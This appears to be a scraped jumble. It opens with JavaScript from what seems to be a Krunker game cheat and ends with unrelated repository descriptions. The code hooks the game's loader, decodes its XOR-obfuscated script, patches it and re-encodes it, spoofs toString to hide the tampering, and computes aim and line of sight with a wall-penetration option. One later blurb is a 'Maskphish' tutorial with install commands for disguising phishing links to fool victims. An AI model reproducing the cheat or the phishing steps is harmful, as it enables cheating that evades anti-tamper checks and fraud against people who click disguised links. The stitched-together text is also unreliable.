getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": //game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
lelandpaul
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we built a space ( social networking app) on the internet for people who love creating and building — to create, build and share it with others
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Mapping social media in parks and other open spaces
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A work-in-progress framework for building multi-platform, multi-user VR experiences for social learning spaces.
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Ephemeral Space is an SS14 fork focused on social deduction, crew-focused conflict, and experimental new systems, set on the stage of an old theater at the end of time.
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Termux Maskphish : Mask URL in Termux It takes time to install the Phishing Tool and then After doing the tedious setup when we send the URL to the victim, they don't click it Because the URL Looks Like this http://c162dc9a1a2e.ngrok.io/. Termux Maskphish is a Tool that Masks or Shortens the URL with real domain names, It can take ngrok url and convert it to a perfect Looking URL like this https://Facebook.com-Username-Vrification@da.gd/qi4ff. This URL is far better than the Ngrok link. You can mask any URL with This tool, You can add any website name at the start and you can even add keywords so that it can match to your Social Engineering tactics. $ apt update && apt upgrade $ pkg install git $ git clone https://github.com/khansaad1275/maskphish $ cd maskphish $ bash maskphish.sh Now you will see the Logo of mask URL and below you will see "Paste Phishing URL here", Just Long press on the screen of termux and you will see the paste option, Just click on the paste the URL and press Enter. Now you see the masking Domain option, Here you can type the name of any website you want without including any slash "/", for example. After typing the domain, Press Enter. Now you will see "Type social Engineering words", Here you can type any things that is suitable for your Social Engineering technique, If you are doing this for social media account then you can write get-blue-tick-in-24-hrs or you can type Instagram-1000-followers-every-day there are infinity possibility just keep in mind that you can Not put space between the words, instead of Space you have to use (''-' Dash Now you will see Your Masked URL, Just Copy The masked URL and send it to your victim
slashman
A social space inspired by traditional character display roguelikes
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FeatherPerfect is a social media application developed using ReactJS, aimed at creating a dedicated space for wildlife enthusiasts and photographers. Users can upload and share their wildlife photos, follow other users, and explore a curated feed of nature-based content.